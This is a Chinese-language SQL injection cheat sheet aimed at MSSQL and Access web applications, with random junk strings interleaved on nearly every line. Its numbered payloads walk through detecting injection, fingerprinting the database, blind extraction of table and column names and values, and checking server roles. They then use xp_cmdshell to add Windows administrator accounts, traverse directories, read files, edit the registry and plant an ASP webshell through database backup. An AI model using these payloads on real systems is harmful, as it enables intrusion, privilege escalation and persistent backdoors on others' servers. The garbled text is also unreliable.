1.判断是否有注入;and 1=1 ;and 1=2 tE3#Uq
2.初步判断是否是mssql ;and user>0 B M5+;h !
<$bM*5sHF>
3.注入参数是字符'and [查询条件] and ''=' S}6Ty2.\
)
=-$>75Z
4.搜索时没过滤参数的'and [查询条件] and '%25'=' t}L kl(
D^ZG-WR
5.判断数据库系统 ;hb;%<xqT
e;L++D
;and (select count(*) from sysobjects)>0 mssql ZDEz&{3U;
~+w'b7T,=
;and (select count(*) from msysobjects)>0 access kt?G\H!}
y%%D="
aphfzo
)D'SfNx#{
6.猜数据库 ;and (select Count(*) from [数据库名])>0 eV:I :::
A|>~/OW=@
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 gDbj!(tm
r4&g~+ck
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 pu#h:nb>88
| a001_Wv
9.(1)猜字段的ascii值(access) _8x:%$
u#(VR]u\7
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0
kI7c22OJ
kT6h}d^/^
(2)猜字段的ascii值(mssql) !9A6DWA E$
`-@8IZ7
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 2;h4$^`dt
q"){PRTm/
10.测试权限结构(mssql) $yxwB/ O(
d%+oCoeb
.j"iJ/
/+^7lQo\]
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- ipzv]c&
N{oi }i6
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- x!5b"
"
;
kPx@C
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- SOE5`
k1Z"Qmz
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- f_A'.oq+
+tO mKY
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- <12 ia"}
?VCdT`6=
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- g7\MFertR^
|v,%!ps
;and 1=(select IS_MEMBER('db_owner'));-- {"{kWbXZ
matW>D;J
h-r\1{Q1]
Fg` P@hC
11.添加mssql和系统的帐户 "^M/iv(
:
:;YS9e
;exec master.dbo.sp_addlogin username;-- aumWU{j=
;exec master.dbo.sp_password null,username,password;-- ~N
"rr.w
\S#Mc
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- K"Vo'9R[_
!O|d,)$q
;exec master.dbo.xp_cmdshell 'net user username password bloe|o!
2gP^+.
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- `^FAD
VpmwN`
;exec master.dbo.xp_cmdshell 'net user username password /add';-- gbvM2
wJ.?u]f@
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- K]c|v
i_D
scr`] tD
pXn(#n<
%[3?vX
12.(1)遍历目录 HC1jN8WDY
2ed4xhV
;create table dirs(paths varchar(100), id int) /%qw-v9qPV
R<\5q%@G
;insert dirs exec master.dbo.xp_dirtree 'c:\'
HJ5 Ktt
KD TG9KC
;and (select top 1 paths from dirs)>0 !97U2L4
^YVd^<cE
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) wWq(|"
jLc"1+
&Bn>
YFu
Mw{0A\6
(2)遍历目录 p7SX,kpt>
}jL_/gvgy
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- <HYK9{Q
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
LYTx8
SNLZU%jan
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 r0MUv}p#|L
=yT3#A~<G
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 R1,.H92
Tt^PiaS!
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 /NE<?t N
XFj\H(D
3)D' Yx
o`tOnwt
13.mssql中的存储过程 FE'|wf
.>X0 $#
xp_regenumvalues 注册表根键, 子键 +-%&,>R
VIIBw
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 4?eO1=a
u/s,#
xp_regread 根键,子键,键值名 /-C`*P=:u
RC[mpR;2
;exec xp_regread [nSlkl
FCr^D$_w
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 -_%8Q#"
R=7,F6.
xp_regwrite 根键,子键, 值名, 值类型, 值 !UzMuGj
8%+F.r
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 Wi;wu*
)Bz2-|\
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 /5**2Kgv1
DJWm7 t
xp_regdeletevalue 根键,子键,值名 yW=I*f
!
.q,m>?+
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 wP|Amn+;
SRP.Mqg9
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 CIt%7
\c
1\t# *N
<bvbfS
4z;@1nN_8a
14.mssql的backup创建webshell \zx &5a
#
{zckY
use model 4J~ZZ
XJ$mRh0`K
create table cmd(str image); m2{DLw".
uT
Z#85L`
insert into cmd(str) values (''); _VjfjA<c8
*A^`[_y
backup database model to disk='c:\l.asp'; T'W@fif
W5)R{w0`GD
r
9~Wh
$
o[A y2"e?
15.mssql内置函数 {M_*hR;lL
s^&Oh*SP*
;and (select @@version)>0 获得Windows的版本号 =/#+,
_N @h
;and user_name()='dbo' 判断当前系统的连接用户是不是sa ;q"Yz-3
~[N"Q|D3Y
;and (select user_name())>0 爆当前系统的连接用户 B2kKEMdGg
$>M-oNeC
;and (select db_name())>0 得到当前连接的数据库 w7#9t
,P>xpfdK
xj!G9x<!
dvc=<!"'S
16.简洁的webshell #9/^)^k
7]8nW!h;
use model JmP[ 9"
39yp1
create table cmd(str image); #$dEg
!T|q/ri
insert into cmd(str) values (''); X]1Q# $b
S-
N
[
backup database model to disk='g:\wwwtest\l.asp';